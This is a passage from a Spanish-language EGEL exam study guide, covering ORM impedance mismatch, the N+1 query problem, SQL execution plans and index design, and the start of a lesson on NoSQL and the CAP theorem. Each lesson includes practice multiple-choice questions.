impedancia es el conjunto de fricciones conceptuales, estructurales y técnicas que surgen al mapear objetos del código en tablas relacionales de base de datos:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│               EL DESAJUSTE DE IMPEDANCIA OBJETO-RELACIONAL             │\n│                                                                        │\n│   MUNDO ORIENTADO A OBJETOS               MUNDO RELACIONAL (RDBMS)     │\n│   • Paradigma de Grafos y Punteros        • Paradigma de Conjuntos/Tabl│\n│   • Identidad por referencia en memoria   • Identidad por Clave Primar.│\n│   • Herencia y Polimorfismo nativo        • NO existe herencia nativa  │\n│   • Encapsulamiento de métodos/estado     • Datos públicos en columnas │\n│   • Navegación directa: pedido.getCliente()• Operaciones JOIN costosas │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Dimensiones Clave del Desajuste\n\n| Dimensión | Enfoque Orientado a Objetos | Enfoque Relacional SQL | Solución que provee el ORM |\n| :--- | :--- | :--- | :--- |\n| **Identidad** | Dos objetos son idénticos si comparten la misma celda de memoria (`obj1 == obj2`) o equivalentes por valor (`equals()`). | Dos tuplas son idénticas si coinciden sus valores de Clave Primaria (`PRIMARY KEY`). | El ORM mantiene un **Contexto de Persistencia (*First-Level Cache / Identity Map*)** para garantizar que un mismo ID de BD corresponda a una sola instancia de objeto en memoria. |\n| **Navegación vs Relaciones** | Un objeto contiene referencias directas a otros objetos, navegables con punto (`pedido.getCliente().getDireccion()`). | Las relaciones se establecen mediante Claves Foráneas (`FOREIGN KEY`) y se consultan mediante operaciones de unión (`JOIN`). | El ORM genera automáticamente las sentencias SQL con `JOIN` o subconsultas al navegar por el grafo de entidades. |\n| **Herencia** | Clases base, subclases especializadas y polimorfismo dinámico (`AutoElectrico extends Vehiculo`). | No existen tablas derivadas; las tablas son independientes y bidimensionales. | Aplica estrategias formales de mapeo de herencia relacional (*Single Table*, *Joined*, *Table Per Class*). |\n\n---\n\n## 2. Estrategias de Mapeo de Herencia en Bases de Datos Relacionales\n\nDado que SQL estándar no soporta herencia de tablas nativa, los estándares ORM (como JPA/Hibernate o Entity Framework) definen tres estrategias formales:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                     ESTRATEGIAS DE HERENCIA EN ORM                     │\n│                                                                        │\n│   Jerarquía: Cuenta (Base) ──┬──▶ CuentaCheques (comision_mensual)     │\n│                              └──▶ CuentaAhorros (tasa_interes)         │\n│                                                                        │\n│   1. SINGLE TABLE (Una sola tabla unificada):                          │\n│      [ id | saldo | tipo_dtype | comision_mensual | tasa_interes ]     │\n│      • Pros: Consultas polimórficas sin JOINs (ultrarrápidas).         │\n│      • Contras: Columnas deben admitir NULL; desperdicio de espacio.   │\n│                                                                        │\n│   2. JOINED (Tabla por clase con claves foráneas):                     │\n│      CUENTA [ id | saldo ]                                             │\n│      CUENTA_CHEQUES [ id (FK) | comision_mensual ]                     │\n│      CUENTA_AHORROS [ id (FK) | tasa_interes ]                         │\n│      • Pros: Base normalizada en 3FN, columnas NOT NULL estrictas.     │\n│      • Contras: Exige JOINs obligatorios para consultar subtipos.      │\n│                                                                        │\n│   3. TABLE PER CLASS (Tabla completa por cada clase concreta):         │\n│      CUENTA_CHEQUES [ id | saldo | comision_mensual ]                  │\n│      CUENTA_AHORROS [ id | saldo | tasa_interes ]                      │\n│      • Pros: Tablas independientes sin valores NULL.                   │\n│      • Contras: Consultas polimórficas sobre la base exigen UNION pesad│\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n| Criterio de Selección | Single Table (Tabla Única) | Joined (Tabla por Subclase) | Table Per Class (Tabla por Concreta) |\n| :--- | :--- | :--- | :--- |\n| **Normalización Relacional** | Pobre (muchos valores `NULL` dispersos). | **Excelente (Totalmente normalizada en 3FN).** | Moderada (duplica columnas de la clase base). |\n| **Rendimiento Polimórfico** | **Máximo:** `SELECT * FROM cuentas` no requiere ningún `JOIN`. | Lento: Requiere múltiples `LEFT OUTER JOIN` para reconstruir la jerarquía. | Muy lento: Requiere consultas complejas con `UNION ALL`. |\n| **Restricciones de Integridad** | Las columnas exclusivas de subclases **no pueden ser `NOT NULL`**. | Permite restricciones **`NOT NULL`** estrictas en todas las columnas de subclases. | Permite restricciones **`NOT NULL`** en todas las columnas. |\n| **Caso de Uso Óptimo** | Jerarquías pequeñas con pocos atributos específicos donde el rendimiento de lectura es crítico. | Jerarquías ricas con muchos atributos específicos y reglas de integridad estrictas. | Jerarquías donde rara vez se consultan todas las entidades polimórficamente juntas. |\n\n---\n\n## 3. Carga Perezosa (Lazy Loading) vs Carga Ansiosa (Eager Loading)\n\nAl recuperar una entidad que contiene relaciones con otras entidades (ej. un `Cliente` con una colección de 500 `Facturas`), el ORM debe decidir cuándo consultar las entidades secundarias:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        EAGER VS LAZY LOADING                           │\n│                                                                        │\n│   EAGER LOADING (Carga Ansiosa / Inmediata):                           │\n│   Cliente c = em.find(Cliente.class, 1);                               │\n│   ──▶ SQL: SELECT * FROM cliente c                                     │\n│            LEFT JOIN facturas f ON c.id = f.cliente_id WHERE c.id = 1  │\n│   (Carga TODO el grafo de objetos inmediatamente en memoria)           │\n│                                                                        │\n│   LAZY LOADING (Carga Perezosa / Bajo Demanda):                        │\n│   Cliente c = em.find(Cliente.class, 1);                               │\n│   ──▶ SQL: SELECT * FROM cliente WHERE id = 1; (Rápido y ligero)       │\n│   ...tiempo después en la vista...                                     │\n│   c.getFacturas().size(); // ¡Interacción con la colección!            │\n│   ──▶ SQL: SELECT * FROM facturas WHERE cliente_id = 1; (Solo al usar) │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n- **Peligro Crítico de Lazy Loading: `LazyInitializationException`:**\n  Si una colección configurada como `LAZY` intenta leerse después de que la transacción de base de datos o la sesión del ORM se ha cerrado (por ejemplo, en la capa de renderizado de vistas o controlador web), el objeto proxy no puede consultar la base de datos y lanza una excepción fatal.\n\n---\n\n## 4. El Problema de las Consultas N+1 (The N+1 Query Problem)\n\nEl **problema N+1** es el defecto de rendimiento más destructivo y frecuente en aplicaciones que utilizan ORMs. Ocurre cuando el código ejecuta **1 consulta inicial** para obtener una lista de $N$ registros padre, y posteriormente el ORM ejecuta **$N$ consultas adicionales individuales** (una por cada fila obtenida) para cargar los datos hijos:\n\n```java\n// CÓDIGO CAUSANTE DEL PROBLEMA N+1:\n// Supongamos que existen 100 clientes en la base de datos\nList\u003cCliente\u003e clientes = clienteRepo.findAll(); // 1 CONSULTA: SELECT * FROM clientes;\n\nfor (Cliente c : clientes) {\n    // Si la relación 'pedidos' es LAZY, cada iteración dispara un nuevo SELECT\n    System.out.println(c.getNombre() + \" tiene: \" + c.getPedidos().size() + \" pedidos\");\n    // ¡100 CONSULTAS ADICIONALES: SELECT * FROM pedidos WHERE cliente_id = ?;!\n}\n// TOTAL DE CONSULTAS A LA BASE DE DATOS: 1 + 100 = 101 CONSULTAS\n```\n\n### Impacto en Producción\n- En lugar de 1 viaje de red eficiente, la aplicación ejecuta 101 viajes de red (*network round-trips*). Si la tabla tiene 10,000 clientes, el servidor ejecuta **10,001 consultas SQL**, colapsando el pool de conexiones de la base de datos y saturando la CPU.\n\n### Soluciones de Ingeniería para Erradicar el Problema N+1\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        SOLUCIONES AL PROBLEMA N+1                      │\n│                                                                        │\n│   SOLUCIÓN 1: JOIN FETCH (Consulta HQL / JPQL / Linq)                  │\n│   SELECT c FROM Cliente c JOIN FETCH c.pedidos;                        │\n│   • Trae clientes y pedidos en UNA SOLA consulta SQL unificada.        │\n│                                                                        │\n│   SOLUCIÓN 2: BATCH FETCHING (@BatchSize)                              │\n│   @BatchSize(size = 25) sobre la colección de pedidos.                 │\n│   • Agrupa las consultas secundarias usando cláusulas IN:              │\n│     SELECT * FROM pedidos WHERE cliente_id IN (1, 2, ..., 25);         │\n│   • Reduce las 100 consultas a solo 4 consultas por lote.              │\n│                                                                        │\n│   SOLUCIÓN 3: ENTITY GRAPHS (@EntityGraph)                             │\n│   Define en tiempo de consulta qué relaciones deben cargarse de forma │\n│   eager solo para ese caso de uso, sin alterar el mapeo global.        │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## 5. Escenarios de Decisión Profesional\n\n### Escenario A: Reporte Mensual de Facturación con Tiempos de Carga de 40 Segundos\n- **Problema:** El endpoint `GET /api/facturas/resumen` tarda 42 segundos en responder para 2,000 facturas.\n- **Diagnóstico:** El registro de logs de SQL (*SQL query logging*) revela que el ORM está ejecutando 2,001 sentencias `SELECT`: una para obtener las facturas y 2,000 sentencias individuales para consultar el nombre de la empresa emisora de cada factura.\n- **Decisión Técnica:** Reemplazar la consulta del repositorio por una consulta con **`JOIN FETCH`** en JPQL o `Include()` en Entity Framework:\n  `SELECT f FROM Factura f JOIN FETCH f.emisor WHERE f.mes = :mes`.\n- **Resultado:** La base de datos ejecuta **1 sola consulta SQL con `INNER JOIN`**. El tiempo de respuesta cae de 42 segundos a **180 milisegundos**.\n\n---\n\n## 6. Errores Comunes y Trampas en el EGEL\n\n\u003e **Trampa 1: Configurar todas las relaciones como EAGER para \"evitar excepciones\".**\n\u003e Configurar `@ManyToOne(fetch = FetchType.EAGER)` o `@OneToMany(fetch = FetchType.EAGER)` de forma indiscriminada en todas las entidades es un gravísimo antipatrón. Provoca que al consultar un simple usuario se carguen en memoria miles de registros asociados transitivamente (pedidos, productos, facturas, direcciones), agotando la memoria RAM del servidor con *OutOfMemoryError*. La buena práctica es **configurar todo como LAZY por defecto** y utilizar `JOIN FETCH` o `EntityGraph` únicamente cuando la consulta específica requiera los hijos.\n\n\u003e **Trampa 2: Creer que el problema N+1 solo ocurre en relaciones One-to-Many.**\n\u003e El problema N+1 ocurre con idéntica severidad en relaciones **Many-to-One** y **One-to-One** si el ORM no realiza un join explícito al iterar sobre una lista de entidades padre.\n\n\u003e **Trampa 3: Usar `JOIN FETCH` sobre múltiples colecciones simultáneas.**\n\u003e Hacer `JOIN FETCH` sobre dos o más colecciones independientes (`List\u003cTelefonos\u003e` y `List\u003cDirecciones\u003e`) en una sola consulta produce un **Producto Cartesiano Múltiple**, duplicando exponencialmente el número de filas transmitidas por la red (*MultipleBagFetchException* en Hibernate). Debe usarse `@BatchSize` o consultas separadas en esos casos.\n\n---\n\n## 7. Autoevaluación Formativa\n\n### Pregunta 1\nAl monitorear la consola de base de datos de un portal de noticias, el administrador observa que cada vez que se carga la página principal con los últimos 20 artículos, el servidor web envía una primera sentencia `SELECT * FROM articulos LIMIT 20;` seguida inmediatamente por 20 sentencias consecutivas individuales `SELECT * FROM autores WHERE id = ?;` para obtener los datos del autor de cada artículo. ¿Qué anomalía de persistencia está ocurriendo y cuál es la solución técnica adecuada?\n- A) Ocurrió una Lectura Fantasma; se soluciona aumentando el aislamiento a Serializable.\n- B) Ocurrió el Problema de Consultas N+1; se soluciona modificando la consulta para realizar una carga ansiosa controlada mediante `JOIN FETCH` (o su equivalente en el ORM), obteniendo los artículos y sus autores en una única consulta SQL unificada.\n- C) Ocurrió un Interbloqueo (Deadlock); se soluciona adquiriendo cerrojos pesimistas sobre la tabla de autores.\n- D) Ocurrió una fuga de memoria dinámica; se soluciona invocando `System.gc()`.\n\n### Pregunta 2\nUn equipo de ingeniería diseña el esquema relacional para una jerarquía de clases de cuentas bancarias (`Cuenta` base, `CuentaCheques` y `CuentaAhorros`). El requerimiento del área de cumplimiento financiero exige que la base de datos esté **estrictamente normalizada en Tercera Forma Normal (3FN)** y que las columnas específicas de cada subtipo (como `tasa_interes`) cuenten con restricciones declarativas `NOT NULL` en el motor de base de datos relacional. ¿Qué estrategia de mapeo de herencia del ORM debe seleccionarse obligatoriamente para satisfacer estos requerimientos?\n- A) Estrategia de Tabla Única (*Single Table*).\n- B) Estrategia de Tabla por Clase con Claves Foráneas (*Joined Table*).\n- C) Desactivar el ORM y utilizar archivos planos de texto CSV.\n- D) Estrategia de Inmutabilidad Funcional sin base de datos.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 3.4.7 de esta subárea).*\n","title":"3.4.1 Mapeo objeto-relacional (ORM), desajuste de impedancia y el problema de consultas N+1"},{"children":[],"contentMd":"# Optimización de Consultas SQL, Planes de Ejecución e Índices Avanzados\n\nEl rendimiento de un sistema de información empresarial depende directamente de la eficiencia con la que la base de datos procesa las consultas. Un sistema puede tener una arquitectura impecable en el backend, pero una sola consulta SQL no optimizada ejecutando un escaneo completo de tabla (*Full Table Scan*) sobre 10 millones de filas puede colapsar el procesador del servidor y congelar todas las operaciones de la empresa. En el examen EGEL de Ingeniería de Software, los reactivos evalúan la interpretación formal de planes de ejecución (`EXPLAIN`), los tipos de escaneos y algoritmos de unión (*joins*), y las reglas de diseño de índices compuestos y cubrientes.\n\n---\n\n## 1. El Optimizador Basado en Costos (CBO) y Planes de Ejecución\n\nCuando un motor de base de datos relacional (PostgreSQL, SQL Server, Oracle, MySQL) recibe una consulta SQL declarativa, no la ejecuta a ciegas; la analiza a través de su **Optimizador de Consultas Basado en Costos (*Cost-Based Optimizer* - CBO)**:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                   CICLO DE EVALUACIÓN DE UNA CONSULTA SQL              │\n│                                                                        │\n│   Consulta SQL Declarativa: SELECT nombre FROM cliente WHERE rfc = ?   │\n│                 │                                                      │\n│                 ▼                                                      │\n│   Analizador Léxico/Sintáctico + Árbol Lógico Relacional               │\n│                 │                                                      │\n│                 ▼                                                      │\n│   Optimizador Basado en Costos (CBO):                                  │\n│   • Evalúa estadísticas del catálogo (cardinalidad, histogramas)       │\n│   • Simula diferentes rutas de acceso (¿Índice o escaneo secuencial?) │\n│   • Calcula el \"Costo Estimado\" (I/O de disco + ciclos de CPU)         │\n│                 │                                                      │\n│                 ▼                                                      │\n│   Plan de Ejecución Físico Elegido ──▶ Motor de Ejecución ──▶ Filas    │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### El Comando `EXPLAIN` y `EXPLAIN ANALYZE`\n- **`EXPLAIN consulta;`**: Muestra el plan de ejecución **teórico estimado** por el optimizador sin ejecutar la consulta en la realidad (útil para predecir costos de sentencias `DELETE` o `UPDATE` masivas sin alterar datos).\n- **`EXPLAIN ANALYZE consulta;`**: **Ejecuta la consulta en la realidad**, midiendo los tiempos reales de reloj en milisegundos, el número exacto de filas leídas y los accesos reales a memoria caché y disco. Es la herramienta definitiva de diagnóstico.\n\n---\n\n## 2. Métodos de Acceso a Tablas: Scan vs Seek\n\nEn la lectura de un plan de ejecución, el nodo que accede a los datos de la tabla revela de inmediato si la consulta está optimizada:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        MÉTODOS DE ACCESO EN EL PLAN                    │\n│                                                                        │\n│   A. FULL TABLE SCAN / SEQ SCAN (Escaneo Secuencial Completo):         │\n│      Lee absolutamente TODAS las páginas de disco de la tabla.         │\n│      Costo: O(N) lineal. Desastroso en millones de registros.          │\n│                                                                        │\n│   B. INDEX SEEK (Búsqueda Puntual por Índice):                         │\n│      Navega por el árbol B-Tree desde la raíz hasta la hoja en O(log N)│\n│      ubica el puntero directo y extrae la fila en microsegundos.       │\n│      ¡El método de acceso más veloz y eficiente del RDBMS!             │\n│                                                                        │\n│   C. INDEX SCAN (Escaneo de Rango por Índice):                         │\n│      Ubica el inicio de un rango en el B-Tree y recorre las hojas       │\n│      secuenciales enlazadas contiguamente (ej. BETWEEN fechas).        │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n| Operador en el Plan | Complejidad | Comportamiento Técnico | Diagnóstico de Ingeniería |\n| :--- | :---: | :--- | :--- |\n| **Table Scan / Seq Scan** | $O(N)$ | Lee secuencialmente cada bloque de almacenamiento de la tabla desde el disco a la memoria RAM. | **Grave alarma** si la tabla tiene más de 100,000 filas y la consulta filtra por una condición específica. Indica la ausencia de un índice adecuado. |\n| **Index Seek** | $O(\\log N)$ | Utiliza la estructura jerárquica del B-Tree para saltar directamente a la clave buscada mediante comparaciones binarias. | **Excelente.** Rendimiento óptimo; consume mínimos accesos a páginas de disco. |\n| **Index Scan + Table Lookup / Bookmark Lookup** | $O(\\log N + K)$ | El índice localiza las $K$ claves, pero como la consulta solicita columnas que no están en el índice, la CPU debe saltar a la tabla física principal para leer las columnas faltantes. | Aceptable para pocas filas. Si $K$ es grande (miles de filas), los saltos aleatorios a disco degradan el rendimiento. Se resuelve con un **Índice Cubriente**. |\n\n---\n\n## 3. Algoritmos de Unión de Tablas (Join Operators)\n\nCuando una consulta une dos tablas (`FROM A JOIN B`), el optimizador selecciona uno de tres algoritmos físicos de unión según la cardinalidad y los índices existentes:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        ALGORITMOS DE JOIN                              │\n│                                                                        │\n│   1. NESTED LOOPS JOIN (Bucles Anidados):                              │\n│      Por cada fila de la Tabla Externa A, busca coincidencias en la    │\n│      Tabla Interna B utilizando un índice B-Tree.                      │\n│      • Óptimo cuando: Tabla A es pequeña (\u003c 1,000) y B tiene índice.   │\n│                                                                        │\n│   2. HASH JOIN (Unión por Tabla Hash):                                 │\n│      Carga la tabla más pequeña en una tabla Hash en memoria RAM       │\n│      (Build phase) y luego escanea la tabla grande cotejando (Probe).  │\n│      • Óptimo cuando: Tablas medianas o grandes SIN índices ordenados. │\n│                                                                        │\n│   3. MERGE JOIN / SORT-MERGE JOIN:                                     │\n│      Ambas tablas se leen secuencialmente en paralelo como dos listas  │\n│      previamente ordenadas por la clave de unión.                      │\n│      • Óptimo cuando: Ambas tablas ya están ordenadas por índice.      │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## 4. Estrategias Avanzadas de Indexación\n\n### A. Índices Compuestos y la Regla del Prefijo Más a la Izquierda (*Leftmost Prefix Rule*)\nUn índice compuesto abarca múltiples columnas: `CREATE INDEX idx_clientes ON cliente (pais, estado, ciudad);`.\n\nEl árbol B-Tree se ordena jerárquicamente: primero por `pais`; para un mismo país, por `estado`; y para un mismo estado, por `ciudad`.\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                   REGLA DEL PREFIJO MÁS A LA IZQUIERDA                 │\n│                                                                        │\n│   Índice: (Columna A, Columna B, Columna C)                            │\n│                                                                        │\n│   CONSULTAS QUE SÍ USAN EL ÍNDICE EFICIENTEMENTE:                      │\n│   ✔ WHERE A = 'X'                                                      │\n│   ✔ WHERE A = 'X' AND B = 'Y'                                          │\n│   ✔ WHERE A = 'X' AND B = 'Y' AND C = 'Z'                              │\n│                                                                        │\n│   CONSULTAS QUE NO PUEDEN USAR EL ÍNDICE (O LO DEGRADAN):              │\n│   ✖ WHERE B = 'Y' (Falta el prefijo A; el motor hace Table Scan)       │\n│   ✖ WHERE C = 'Z' (Faltan los prefijos A y B)                          │\n│   ✖ WHERE B = 'Y' AND C = 'Z' (Falta el prefijo obligatorio A)         │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### B. Índices Cubrientes (Covering Indexes) y Cláusula `INCLUDE`\nUn **Índice Cubriente** es aquel que contiene **todas y cada una de las columnas** requeridas por una consulta SQL (tanto las columnas del `WHERE` como las del `SELECT` y `ORDER BY`).\n- Al ejecutarse la consulta, el motor encuentra toda la información directamente en los nodos hoja del B-Tree.\n- Se ejecuta un **`Index-Only Scan`** (Escaneo Exclusivo de Índice), eliminando por completo los costosos accesos a las páginas de la tabla en disco (*Table Lookup*).\n- *Sintaxis en motores modernos:* `CREATE INDEX idx_pedidos_cubriente ON pedido (cliente_id) INCLUDE (total, fecha);` (almacena `total` y `fecha` en los nodos hoja sin agregarlos a la clave de ordenamiento del árbol).\n\n---\n\n## 5. Antipatrones que Desactivan el Uso de Índices en SQL\n\nEn el examen EGEL es clásico presentar una consulta lenta y preguntar por qué el motor ignora el índice existente:\n\n| Antipatrón SQL que Inutiliza el Índice | Consulta Defectuosa (Provoca Table Scan) | Consulta Optimizada (Aprovecha Index Seek) | Razón Técnica |\n| :--- | :--- | :--- | :--- |\n| **Funciones matemáticas o de fecha sobre la columna indexada** | `SELECT * FROM orden WHERE YEAR(fecha_registro) = 2026;` | `SELECT * FROM orden WHERE fecha_registro \u003e= '2026-01-01' AND fecha_registro \u003c '2027-01-01';` | El motor no puede usar el B-Tree ordenado por fecha si debe calcular la función `YEAR()` sobre cada fila. La consulta por rango preserva el orden del índice. |\n| **Comodín porcentual al inicio en `LIKE`** | `SELECT * FROM cliente WHERE apellido LIKE '%PEREZ';` | `SELECT * FROM cliente WHERE apellido LIKE 'PEREZ%';` (o usar índice Full-Text / Trigram) | Un B-Tree se ordena alfabéticamente de izquierda a derecha. Un comodín inicial (`%`) impide saber por qué letra empezar la búsqueda binaria. |\n| **Conversión implícita de tipos de datos** | `SELECT * FROM cuenta WHERE rfc = 12345;` (donde `rfc` es `VARCHAR`) | `SELECT * FROM cuenta WHERE rfc = '12345';` | Al comparar un texto con un número, el RDBMS convierte implícitamente la columna de texto a número fila por fila, descartando el índice. |\n| **Negaciones e inequidades (`!=` o `\u003c\u003e`)** | `SELECT * FROM usuario WHERE estado != 'ACTIVO';` | `SELECT * FROM usuario WHERE estado IN ('SUSPENDIDO', 'BAJA');` | Las inequidades no delimitan un punto de inicio en el B-Tree; forzar listas de inclusión permite aprovechar búsquedas por índice. |\n\n---\n\n## 6. Escenarios de Decisión Profesional\n\n### Escenario A: Consulta de Búsqueda de Productos en E-Commerce\n- **Problema:** La consulta `SELECT id, nombre, precio FROM producto WHERE categoria_id = 5 AND activo = 1 ORDER BY fecha_alta DESC LIMIT 20;` tarda 1.8 segundos sobre una tabla de 3 millones de productos. La base de datos tiene un índice individual sobre `categoria_id`.\n- **Análisis de `EXPLAIN`:** El optimizador usa el índice de `categoria_id`, recupera 80,000 filas, salta a la tabla física para evaluar `activo = 1`, ordena los resultados en disco (*Sort TempDB / Filesort*) y extrae 20.\n- **Decisión de Optimización:**\n  - Crear un **índice compuesto especializado**:\n    `CREATE INDEX idx_prod_opt ON producto (categoria_id, activo, fecha_alta DESC) INCLUDE (nombre, precio);`\n- **Resultado:**\n  - Las 20 filas se localizan en el B-Tree directamente ordenadas por `fecha_alta`.\n  - Se elimina el operador de ordenamiento en memoria (*Sort eliminado*).\n  - La consulta se resuelve como un **Index-Only Scan** en **2 milisegundos**.\n\n---\n\n## 7. Errores Comunes y Trampas en el EGEL\n\n\u003e **Trampa 1: Creer que agregar índices a todas las columnas de una tabla es siempre beneficioso.**\n\u003e Cada índice adicional acelera las consultas de lectura (`SELECT`), pero **ralentiza severamente las operaciones de escritura (`INSERT`, `UPDATE`, `DELETE`)**, porque el RDBMS debe actualizar y rebalancear todos los árboles B-Tree en disco en cada transacción, además de consumir espacio masivo de almacenamiento.\n\n\u003e **Trampa 2: Asumir que un índice sobre `(A, B)` sirve igual para consultas que solo filtran por `B`.**\n\u003e Por la **Regla del Prefijo Más a la Izquierda**, si la consulta filtra exclusivamente por la columna secundaria `WHERE B = 'valor'`, el motor de base de datos no puede utilizar el índice jerárquico y recurrirá a un escaneo completo de tabla (*Full Table Scan*).\n\n\u003e **Trampa 3: Usar `SELECT *` cuando solo se necesitan dos columnas.**\n\u003e `SELECT *` impide que el optimizador utilice **Índices Cubrientes (Index-Only Scan)**, obligándolo a realizar búsquedas por salto a la tabla (*Table Lookups*) para traer columnas innecesarias (como descripciones largas de texto o imágenes BLOB), multiplicando el I/O de disco.\n\n---\n\n## 8. Autoevaluación Formativa\n\n### Pregunta 1\nAl auditar una base de datos relacional de facturación con 8 millones de registros, se identifica que la siguiente consulta tarda más de 15 segundos en ejecutarse:\n```sql\nSELECT id_factura, total \nFROM facturas \nWHERE MONTH(fecha_emision) = 5 AND YEAR(fecha_emision) = 2026;\n```\nLa tabla cuenta con un índice B-Tree sobre la columna `fecha_emision`. Al ejecutar `EXPLAIN`, el plan muestra un `Seq Scan` (escaneo secuencial de toda la tabla). ¿Cuál es la causa técnica del bajo rendimiento y cómo debe reescribirse la consulta para aprovechar el índice B-Tree existente mediante un `Index Seek`?\n- A) El índice está dañado; se debe reiniciar el servidor de base de datos.\n- B) El uso de funciones escalares (`MONTH`, `YEAR`) directamente sobre la columna en la cláusula `WHERE` impide que el optimizador utilice el índice; se debe reescribir la condición como un rango temporal continuo: `WHERE fecha_emision \u003e= '2026-05-01' AND fecha_emision \u003c '2026-06-01'`.\n- C) La base de datos relacional no soporta el filtrado de fechas; se debe migrar la tabla a MongoDB.\n- D) El comando `SELECT` contiene demasiadas columnas; se debe eliminar la columna `total`.\n\n### Pregunta 2\nEn una tabla de empleados con un índice compuesto definido sobre las columnas `(departamento_id, sucursal_id, puesto_id)`, un analista ejecuta la siguiente consulta:\n```sql\nSELECT nombre, salario \nFROM empleados \nWHERE sucursal_id = 10 AND puesto_id = 4;\n```\nDe acuerdo con la Regla del Prefijo Más a la Izquierda (*Leftmost Prefix Rule*), ¿cómo se comportará el optimizador de consultas del RDBMS respecto al uso de este índice compuesto?\n- A) Utilizará el índice con máxima eficiencia realizando un Index Seek en $O(1)$.\n- B) No podrá utilizar el índice compuesto para una búsqueda puntual eficiente y recurrirá a un escaneo completo de tabla (*Table Scan*), debido a que la consulta omitió la columna principal del prefijo más a la izquierda (`departamento_id`).\n- C) El optimizador reordenará físicamente los datos de la tabla para colocar `sucursal_id` como clave primaria.\n- D) Se producirá un interbloqueo (*Deadlock*) entre el optimizador y el índice.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 3.4.7 de esta subárea).*\n","title":"3.4.2 Optimización de consultas SQL, planes de ejecución e índices avanzados"},{"children":[],"contentMd":"# Bases de Datos NoSQL, el Teorema CAP y el Modelo BASE\n\nDurante décadas, el modelo relacional relacional con transacciones ACID y lenguaje SQL fue el estándar incuestionable para la persistencia de datos. Sin embargo, la explosión de la web a escala global, el Big Data y la necesidad de escalabilidad horizontal en la nube dieron origen al movimiento **NoSQL (*Not Only SQL*)**. En el examen EGEL de Ingeniería de Software, los reactivos evalúan el **Teorema CAP de Brewer**, la distinción formal entre los modelos ACID y BASE, y la selección técnica de la familia NoSQL precisa (Documentos, Clave-Valor, Columnas Anchas y Grafos) ante requerimientos de volumen, velocidad y estructura de datos.\n\n---\n\n## 1. El Teorema CAP (Brewer) y los Sistemas Distribuidos\n\nFormulado por Eric Brewer y probado formalmente por Seth Gilbert y Nancy Lynch, el **Teorema CAP** establece que en cualquier sistema distribuido de datos es matemáticamente imposible garantizar simultáneamente las tres propiedades siguientes:\n\n```\n                                  TEOREMA CAP\n                                       │\n                      ┌────────────────┴────────────────┐\n                      ▼                                 ▼\n              [ C ] Consistencia                [ A ] Disponibilidad\n              (Todos ven lo mismo               (Toda petición recibe\n               al mismo tiempo)                  respuesta no errónea)\n                      │                                 │\n                      └────────────────┬────────────────┘\n                                       ▼\n                       [ P ] Tolerancia a Particiones\n                       (El sistema sigue funcionando aun\n                        si la red se rompe o desconecta)\n```\n\n### Definición Formal de las Propiedades CAP\n1. **Consistencia (Consistency / Linearizability):** Toda lectura recibe la escritura más reciente o un error. Para un cliente externo, el sistema se comporta como si existiera una única copia centralizada de los datos.\n2. **Disponibilidad (Availability):** Cada nodo no averiado devuelve una respuesta no errónea para cada petición que recibe (sin garantía de que sea la versión más reciente de los datos).\n3. **Tolerancia a Particiones (Partition Tolerance):** El sistema continúa operando a pesar de que la red entre los nodos sufra caídas, retrasos o particiones arbitrarias de comunicación.\n\n### La Regla Ineludible de la Realidad Física\nEn el mundo real, las redes físicas entre servidores **siempre pueden fallar** (cables submarinos cortados, conmutadores averiados, latencias transitorias). Por lo tanto, la **Tolerancia a Particiones ($P$) no es negociable en un sistema distribuido**.\n\nCuando ocurre una partición de red inevitable, el arquitecto está obligado a elegir entre dos únicas alternativas:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        DILEMA ANTE LA PARTICIÓN                        │\n│                                                                        │\n│   ELECCIÓN CP (Consistencia + Tolerancia a Partición):                 │\n│   • Si los nodos no pueden comunicarse para sincronizar el estado, el  │\n│     sistema RECHAZA la petición arrojando un error.                    │\n│   • Prefiere no responder a entregar un dato desactualizado.           │\n│   • Ejemplos: MongoDB (nodo primario), HBase, Zookeeper.               │\n│                                                                        │\n│   ELECCIÓN AP (Disponibilidad + Tolerancia a Partición):               │\n│   • El sistema RESPONDE con el dato local que tiene disponible, aunque │\n│     sea una versión desactualizada o vieja.                            │\n│   • Prioriza que el usuario nunca vea un error, resolviendo la         │\n│     sincronización de forma asíncrona posterior (Eventual Consistency).│\n│   • Ejemplos: Apache Cassandra, Amazon DynamoDB, CouchDB.              │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n*\\*Nota de ingeniería:* Los sistemas \"CA\" (Consistentes y Disponibles) solo pueden existir en arquitecturas mononodo o centralizadas sin particiones de red (como PostgreSQL o MySQL en un único servidor físico).\n\n---\n\n## 2. El Modelo ACID frente al Modelo BASE\n\nMientras que las bases de datos relacionales defienden el rigor transaccional **ACID**, los sistemas NoSQL distribuidos de alta disponibilidad adoptan el modelo **B.A.S.E.**:\n\n| Dimensión | Modelo Transaccional ACID | Modelo Distribuido B.A.S.E. |\n| :--- | :--- | :--- |\n| **Acrónimo y Semántica** | **A**tomicidad, **C**onsistencia, **A**islamiento, **D**urabilidad. | **B**asically **A**vailable (Básicamente disponible), **S**oft state (Estado blando), **E**ventual consistency (Consistencia eventual). |\n| **Garantía de Consistencia** | **Fuerte e inmediata:** Una vez confirmado el commit, cualquier cliente en cualquier parte lee el nuevo dato al instante. | **Eventual:** Si no se producen nuevas escrituras, eventualmente todas las réplicas convergerán al mismo valor (suele tardar milisegundos). |\n| **Enfoque de Escalabilidad** | **Escalabilidad Vertical predominante:** Servidores más grandes con más CPU y RAM (el sharding relacional es complejo y costoso). | 